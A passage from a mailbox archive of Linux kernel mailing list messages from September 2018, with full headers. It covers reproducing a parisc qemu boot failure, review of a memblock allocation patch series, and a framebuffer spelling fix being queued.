        bh=JvqSXdRNPRKMH7A3fTFu1L8SXmJxJmKGxE7pLCVlBVI=;
        b=bKDCV5GxaPtuF0GJ+Bpw+W/Uus9H1rYA8ztGeEQYVJ0/TlR8XYWU5L/v1L1FStZpPM
         bVM2tbRO2bBZ5xcaGf2kn4siTy9W/NTVEyFe5NGSzpFFqg2Z4FADRsM9XKhFASIKGN89
         HbCGYEr4yHXyMjilNbA/+6ENLa4vmHqDzfuzqo5p/mcGEXtdTCPzOAPp9jl0NhoOpET3
         XmJOmN3jNmL2jgiEbh4jwqr3dDBNh51BVhYKeE5sZ6Q1Cl0orGgj0FG7Gr7FhAcwqnP3
         rbwth9/pCMAG25VJLaqy2bEaesYxlZo8rbn35j4fxJfCPRp348zlXQO+pKAUJWACjugh
         VP+g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:subject:to:cc:references:from:message-id
         :date:user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=JvqSXdRNPRKMH7A3fTFu1L8SXmJxJmKGxE7pLCVlBVI=;
        b=cU8OHV25mBuFh5Mfawt3+wpTcUXL9qWMoBZt18Zqi8aZKQ0qdiJMMWWBCYjxE1B0Ai
         IQ53g8GRLHyctvnm2MEldnuC2SPbf2ntjRrQFw5+0h3RK3EanwJMMCMcVR3Fkpa4HGmW
         wPQWVuZlNsYQra1akqje+U8tulE0+Kx3jhCcLw94oG0v0imByFFmT84ow1JQG+n18PPS
         zD/6oBQ001AeQXwjz1TFE3SGeVCAWYYKHCzbHFcVE2z1F7r9ZB7PCjcYoKH2EndlnxVk
         HJKQdA/TS41t2NWFrXkhNUThLEA9G6GmJGqmnFy1R2VzghTW80zAhm9Dqh0BX49/DP4G
         F7oQ==
X-Gm-Message-State: ABuFfoicJgQPd3mMgwSxQjWq8nHHgTGTDMRs7n9F2ZZAeLbG89gGaMeJ
        M1TS0lku8u3ya7qkd0wGqUgoItYn
X-Google-Smtp-Source: ACcGV61dUyMeN/E4ifFuYSNniy715WwS8AwILog3UKjigwEddEFyC6Wq4GELwZQv3v7QbEiJMW4MVQ==
X-Received: by 2002:a17:902:3fa5:: with SMTP id a34-v6mr6247424pld.244.1537968597638;
        Wed, 26 Sep 2018 06:29:57 -0700 (PDT)
Original-Received: from server.roeck-us.net (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by smtp.gmail.com with ESMTPSA id 26-v6sm7931839pfs.168.2018.09.26.06.29.56
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 26 Sep 2018 06:29:56 -0700 (PDT)
In-Reply-To: <dcb9250d-f811-90be-2c5a-4d15cb29b474@bell.net>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882290 gmane.linux.ports.parisc:29017
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882290>

On 09/26/2018 05:09 AM, John David Anglin wrote:
> Hi,
> 
> On 2018-09-25 11:21 PM, Guenter Roeck wrote:
>> This patch causes my parisc qemu tests to fail.
>> Unfortunately I don't have any useful log output; the failure
>> is silent. Reverting the patch fixes the problem.
> Can you be more specific on how to run these tests?
> 
> Dave
> 

Sorry. Please see

https://github.com/groeck/linux-build-test/tree/master/rootfs/parisc

My tests enable a number of device and debug options on top of defconfig.
Those are not necessary, though. The problem can be reproduced with defconfig.

With the initrd available from there, and with an image built using 'defconfig',
run

qemu-system-hppa \
	-kernel vmlinux -no-reboot \
	-initrd rootfs.cpio.gz \
	-append 'rdinit=/sbin/init console=ttyS0,115200' \
	-nographic -monitor null

I tested with qemu 2.12 and 3.0. Using "arch/parisc/boot/bzImage" as kernel
image does not make a difference.

Note: The initrd auto-reboots. To avoid that, add "noreboot" as additional
command line option.

Hope this helps,

Guenter


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 14/30] memblock: add align parameter to
 memblock_alloc_node()
Date: Wed, 26 Sep 2018 16:43:35 +0300
Lines: 29
Approved: news@gmane.org
Message-ID: <20180926134335.GF4628@rapoport-lnx>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-15-git-send-email-rppt@linux.vnet.ibm.com>
 <20180926093127.GO6278@dhcp22.suse.cz>
 <20180926093648.GP6278@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537969317 1697 195.159.176.226 (26 Sep 2018 13:41:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 13:41:57 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 15:41:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5A4a-0006VQ-SQ
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 15:41:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727528AbeIZT47 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 15:56:59 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:59274 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1727187AbeIZT47 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 15:56:59 -0400
Original-Received: from pps.filterd (m0098420.ppops.net [127.0.0.1])
        by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w8QDdssX100524
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 09:43:57 -0400
Original-Received: from e06smtp04.uk.ibm.com (e06smtp04.uk.ibm.com [195.75.94.100])
        by mx0b-001b2d01.pphosted.com with ESMTP id 2mr9j3nk42-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 09:43:56 -0400
Original-Received: from localhost
        by e06smtp04.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.vnet.ibm.com>;
        Wed, 26 Sep 2018 14:43:54 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
        by e06smtp04.uk.ibm.com (192.168.101.134) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Wed, 26 Sep 2018 14:43:41 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com [9.149.105.62])
        by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w8QDheYJ66191598
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Wed, 26 Sep 2018 13:43:41 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 6C388AE051;
        Wed, 26 Sep 2018 16:42:40 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 2AC3AAE04D;
        Wed, 26 Sep 2018 16:42:37 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.8.124])
        by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Wed, 26 Sep 2018 16:42:37 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20180926093648.GP6278@dhcp22.suse.cz>
X-TM-AS-GCONF: 00
x-cbid: 18092613-0016-0000-0000-0000020ADB24
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18092613-0017-0000-0000-00003261FAEB
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-09-26_06:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=878 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809260134
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882301 gmane.linux.kernel.mm:204014 gmane.linux.ports.alpha:5263 gmane.linux.ports.arm.kernel:676437 gmane.linux.ports.hexagon:1873 gmane.linux.ports.ia64:29289 gmane.linux.ports.mips.general:66865 gmane.linux.ports.parisc:29018 gmane.linux.ports.ppc64.devel:163078 gmane.linux.ports.riscv:905 gmane.linux.ports.sh.devel:57553 gmane.linux.kernel.arc:4460 gmane.linux.ports.sparc:28476
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882301>

On Wed, Sep 26, 2018 at 11:36:48AM +0200, Michal Hocko wrote:
> On Wed 26-09-18 11:31:27, Michal Hocko wrote:
> > On Fri 14-09-18 15:10:29, Mike Rapoport wrote:
> > > With the align parameter memblock_alloc_node() can be used as drop in
> > > replacement for alloc_bootmem_pages_node() and __alloc_bootmem_node(),
> > > which is done in the following patches.
> > 
> > /me confused. Why do we need this patch at all? Maybe it should be
> > folded into the later patch you are refereing here?
> 
> OK, I can see 1536927045-23536-17-git-send-email-rppt@linux.vnet.ibm.com
> now. If you are going to repost for whatever reason please merge those
> two. Also I would get rid of the implicit "0 implies SMP_CACHE_BYTES"
> behavior. It is subtle and you have to dig deep to find that out. Why
> not make it explicit?

Agree. I'd just prefer to make it a separate patch rather then resend the
whole series. 

> -- 
> Michal Hocko
> SUSE Labs
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 14/30] memblock: add align parameter to
 memblock_alloc_node()
Date: Wed, 26 Sep 2018 16:23:19 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20180926142319.GA6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-15-git-send-email-rppt@linux.vnet.ibm.com>
 <20180926093127.GO6278@dhcp22.suse.cz>
 <20180926093648.GP6278@dhcp22.suse.cz>
 <20180926134335.GF4628@rapoport-lnx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537971692 27045 195.159.176.226 (26 Sep 2018 14:21:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 14:21:32 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 16:21:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5Agr-0006EY-RC
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 16:21:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728253AbeIZUgm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 16:36:42 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:52898 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1727504AbeIZUgm (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 16:36:42 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 3B687AC38;
        Wed, 26 Sep 2018 14:23:26 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180926134335.GF4628@rapoport-lnx>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882351 gmane.linux.kernel.mm:204017 gmane.linux.ports.alpha:5264 gmane.linux.ports.arm.kernel:676452 gmane.linux.ports.hexagon:1874 gmane.linux.ports.ia64:29290 gmane.linux.ports.mips.general:66866 gmane.linux.ports.parisc:29019 gmane.linux.ports.ppc64.devel:163084 gmane.linux.ports.riscv:907 gmane.linux.ports.sh.devel:57554 gmane.linux.kernel.arc:4461 gmane.linux.ports.sparc:28477
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882351>

On Wed 26-09-18 16:43:35, Mike Rapoport wrote:
> On Wed, Sep 26, 2018 at 11:36:48AM +0200, Michal Hocko wrote:
> > On Wed 26-09-18 11:31:27, Michal Hocko wrote:
> > > On Fri 14-09-18 15:10:29, Mike Rapoport wrote:
> > > > With the align parameter memblock_alloc_node() can be used as drop in
> > > > replacement for alloc_bootmem_pages_node() and __alloc_bootmem_node(),
> > > > which is done in the following patches.
> > > 
> > > /me confused. Why do we need this patch at all? Maybe it should be
> > > folded into the later patch you are refereing here?
> > 
> > OK, I can see 1536927045-23536-17-git-send-email-rppt@linux.vnet.ibm.com
> > now. If you are going to repost for whatever reason please merge those
> > two. Also I would get rid of the implicit "0 implies SMP_CACHE_BYTES"
> > behavior. It is subtle and you have to dig deep to find that out. Why
> > not make it explicit?
> 
> Agree. I'd just prefer to make it a separate patch rather then resend the
> whole series. 

Sure, no objection from me.

-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.comp.video.dri.devel
Subject: Re: [PATCH] video/fbdev/stifb: Fix spelling mistake in fall-through
 annotation
Date: Wed, 26 Sep 2018 18:52:56 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20180926165258eucas1p21fc564f4f9d3d33e551937f2ad44272a~YAV6Efwju0462904629eucas1p2M@eucas1p2.samsung.com>
References: <CGME20180903200806epcas2p1171387c9a1699140856911ce283f470c@epcas2p1.samsung.com>
        <20180903200728.GA22414@embeddedor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537980661 7583 195.159.176.226 (26 Sep 2018 16:51:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 16:51:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
        Thunderbird/45.3.0
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        dri-devel@lists.freedesktop.org, linux-fbdev@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 18:50:56 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5D1Z-0001og-7G
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 18:50:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728868AbeIZXGw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 19:06:52 -0400
Original-Received: from mailout2.w1.samsung.com ([210.118.77.12]:34547 "EHLO
        mailout2.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728849AbeIZXGv (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 19:06:51 -0400
Original-Received: from eucas1p2.samsung.com (unknown [182.198.249.207])
        by mailout2.w1.samsung.com (KnoxPortal) with ESMTP id 20180926165300euoutp02ddec4b414036f51b552316f3e1a1169b~YAV7z9Fy03172431724euoutp02C
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 16:53:00 +0000 (GMT)
DKIM-Filter: OpenDKIM Filter v2.11.0 mailout2.w1.samsung.com 20180926165300euoutp02ddec4b414036f51b552316f3e1a1169b~YAV7z9Fy03172431724euoutp02C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=samsung.com;
        s=mail20170921; t=1537980780;
        bh=z8ZjyoeeMBcFva1hVsS9zEEIVxIl4V4bnVwQZiRQVKk=;
        h=Subject:To:Cc:From:Date:In-Reply-To:References:From;
        b=JPO4idKF7u9ROYf8j/BRc7VEO212VHsYUTtvGk601m/yTSbDZgqMc+GkfWAjqEoe5
         p8qafFo7YD30knzWuAg1gQzlfj8N7x47X+NmLiaGRw96stFJsuMnCmLgtTKzTjWdNI
         8oExuhDZV0/gOATlfQRatd0+d81zrVjyuMxI5PUw=
Original-Received: from eusmges1new.samsung.com (unknown [203.254.199.242]) by
        eucas1p2.samsung.com (KnoxPortal) with ESMTP id
        20180926165259eucas1p2a84c710a6ea613dff25cd7d714768c5f~YAV7ICQi70898708987eucas1p2q;
        Wed, 26 Sep 2018 16:52:59 +0000 (GMT)
Original-Received: from eucas1p1.samsung.com ( [182.198.249.206]) by
        eusmges1new.samsung.com (EUCPMTA) with SMTP id 72.B5.04441.A69BBAB5; Wed, 26
        Sep 2018 17:52:59 +0100 (BST)
Original-Received: from eusmtrp1.samsung.com (unknown [182.198.249.138]) by
        eucas1p2.samsung.com (KnoxPortal) with ESMTPA id
        20180926165258eucas1p21fc564f4f9d3d33e551937f2ad44272a~YAV6Efwju0462904629eucas1p2M;
        Wed, 26 Sep 2018 16:52:58 +0000 (GMT)
Original-Received: from eusmgms1.samsung.com (unknown [182.198.249.179]) by
        eusmtrp1.samsung.com (KnoxPortal) with ESMTP id
        20180926165257eusmtrp1df5a8facc57c85126bd83eb2826cbce4~YAV5zw37y0496304963eusmtrp1b;
        Wed, 26 Sep 2018 16:52:57 +0000 (GMT)
X-AuditID: cbfec7f2-5e3ff70000001159-d6-5babb96a201d
Original-Received: from eusmtip2.samsung.com ( [203.254.199.222]) by
        eusmgms1.samsung.com (EUCPMTA) with SMTP id 6C.EF.04284.969BBAB5; Wed, 26
        Sep 2018 17:52:57 +0100 (BST)
Original-Received: from [106.120.53.102] (unknown [106.120.53.102]) by
        eusmtip2.samsung.com (KnoxPortal) with ESMTPA id
        20180926165257eusmtip2702c28963af226276c66e5ba1252d6a2~YAV5cQGfp2250922509eusmtip29;
        Wed, 26 Sep 2018 16:52:57 +0000 (GMT)
In-Reply-To: <20180903200728.GA22414@embeddedor.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprLKsWRmVeSWpSXmKPExsWy7djPc7rZO1dHG7RvYbK4/+k2o8WVr+/Z
        LLbuUbW4v24Vq8WJvg+sFpd3zWGzeHTqApMDu8e6g6oeHz7GedzvPs7kcWHRb1aPz5vkAlij
        uGxSUnMyy1KL9O0SuDIOnrzBUnCBueLSl4+sDYx/mLoYOTkkBEwkzhxYy9zFyMUhJLCCUWL3
        z/XMIAkhgS+MEtP28kMkPjNK7Dvexw7TsebjY0aIxHJGidsPGqGc94wSR+cfAprLwSEsECnx
        Yr0nSIOIgJHE7BndrCA1zAIXGCXObdjJCpJgE7CSmNi+ihHEZhFQldi09zgLSK+oQIRE/xl1
        kDCvgKDEyZlPWEBsTqDFMz88BbOZBQwkjiyawwphy0tsfzsH7AUJgUXsEm1NJ1kgmssk5h48
        zQpxtYvEz41r2SBsYYlXx7dAfSMjcXpyDwtE83RGiTe/lkI56xkl1pw5Bg0la4nDxy9CTXKU
        WDf3GCvIpRICfBI33gpCXMEnMWnbdGaIMK9ER5sQRLWaxIZlG9hgdnXtXMkMYXtILD0zlXkC
        o+IsJH/OQvLbLCS/LWBkXsUonlpanJueWmyYl1quV5yYW1yal66XnJ+7iRGYaE7/O/5pB+PX
        S0mHGAU4GJV4eDdsXB0txJpYVlyZe4hRgoNZSYR33XagEG9KYmVValF+fFFpTmrxIUZpDhYl
        cV4+rbRoIYH0xJLU7NTUgtQimCwTB6dUA6Ps3+1+tzzLL99WsHrrXq7m1GsiGFetP+/y 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFlrEIsWRmVeSWpSXmKPExsVy+t/xe7qZO1dHG/TeNra4/+k2o8WVr+/Z
        LLbuUbW4v24Vq8WJvg+sFpd3zWGzeHTqApMDu8e6g6oeHz7GedzvPs7kcWHRb1aPz5vkAlij
        9GyK8ktLUhUy8otLbJWiDS2M9AwtLfSMTCz1DI3NY62MTJX07WxSUnMyy1KL9O0S9DIOnrzB
        UnCBueLSl4+sDYx/mLoYOTkkBEwk1nx8zNjFyMUhJLCUUeJSzz+WLkYOoISMxPH1ZRA1whJ/
        rnWxQdS8ZZQ4P/kqI0iNsECkxIv1niA1IgJGErNndLNC1LQzSuz/e5wZxGEWuMAocWfCBrBt
        bAJWEhPbVzGC2LwCdhLNn3exgtgsAqoSm/YeZwGxRQUiJG497GCBqBGUODnzCZjNCXTpzA9P
        wWxmAT2JHdd/sULY8hLb385hnsAoOAtJyywkZbOQlC1gZF7FKJJaWpybnltsqFecmFtcmpeu
        l5yfu4kRGD/bjv3cvIPx0sbgQ4wCHIxKPLwcW1ZHC7EmlhVX5h5ilOBgVhLhXbcdKMSbklhZ
        lVqUH19UmpNafIjRFOiJicxSosn5wNjOK4k3NDU0t7A0NDc2NzazUBLnPW9QGSUkkJ5Ykpqd
        mlqQWgTTx8TBKdXA2P30+mbu6akyPGcCshvef2lKeN3zX/6xNNtP3W/7y3zP7o1N2cfBcqgh
        5JtWlIWQgR7H8aWNx5MvsPdWrX/Smb4gVnvRm8krL3ROXKfXJeb+iPNW/BKLirDgkMJ/ 
X-CMS-MailID: 20180926165258eucas1p21fc564f4f9d3d33e551937f2ad44272a
X-Msg-Generator: CA
X-RootMTR: 20180903200806epcas2p1171387c9a1699140856911ce283f470c
X-EPHeader: CA
CMS-TYPE: 201P
X-CMS-RootMailID: 20180903200806epcas2p1171387c9a1699140856911ce283f470c
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882542 gmane.linux.ports.parisc:29020 gmane.comp.video.dri.devel:237821
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882542>


On 09/03/2018 10:07 PM, Gustavo A. R. Silva wrote:
> Replace "fall though" with a proper "fall through" annotation.
> 
> This fix is part of the ongoing efforts to enabling
> -Wimplicit-fallthrough
> 
> Addresses-Coverity-ID: 402013 ("Missing break in switch")
> Signed-off-by: Gustavo A. R. Silva <gustavo@embeddedor.com>

Patch queued for 4.19, thanks.

Best regards,
--
Bartlomiej Zolnierkiewicz
Samsung R&D Institute Poland
Samsung Electronics


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexander Duyck <alexander.duyck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Wed, 26 Sep 2018 09:58:41 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <CAKgT0UdP=78RsWHMxFu4PD8a3AhA3eNcG68Z_9aGY0vhOKf7xA@mail.gmail.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com> <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1537981015 2695 195.159.176.226 (26 Sep 2018 16:56:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 16:56:55 +0000 (UTC)
Cc: linux-mm <linux-mm@kvack.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>, chris@zankel.net,
        David Miller <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>, green.hu@gmail.com,
        Greg KH <gregkh@linuxfoundation.org>, gxt@pku.edu.cn,
        Ingo Molnar <mingo@redhat.com>, jejb@parisc-linux.org,
        jonas@southpole.se, Jonathan Corbet <corbet@lwn.net>,
        lftan@altera.com, msalter@redhat.com,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        mattst88@gmail.com, mpe@ellerman.id.au,
        Michal Hocko <mhocko@suse.com>, monstr@monstr.eu,
        palmer@sifive.com, paul.burton@mips.com, rkuo@codeaurora.org,
        richard@nod.at, dalias@libc.org,
        Russell King - ARM Linux <linux@armlinux.org.uk>,
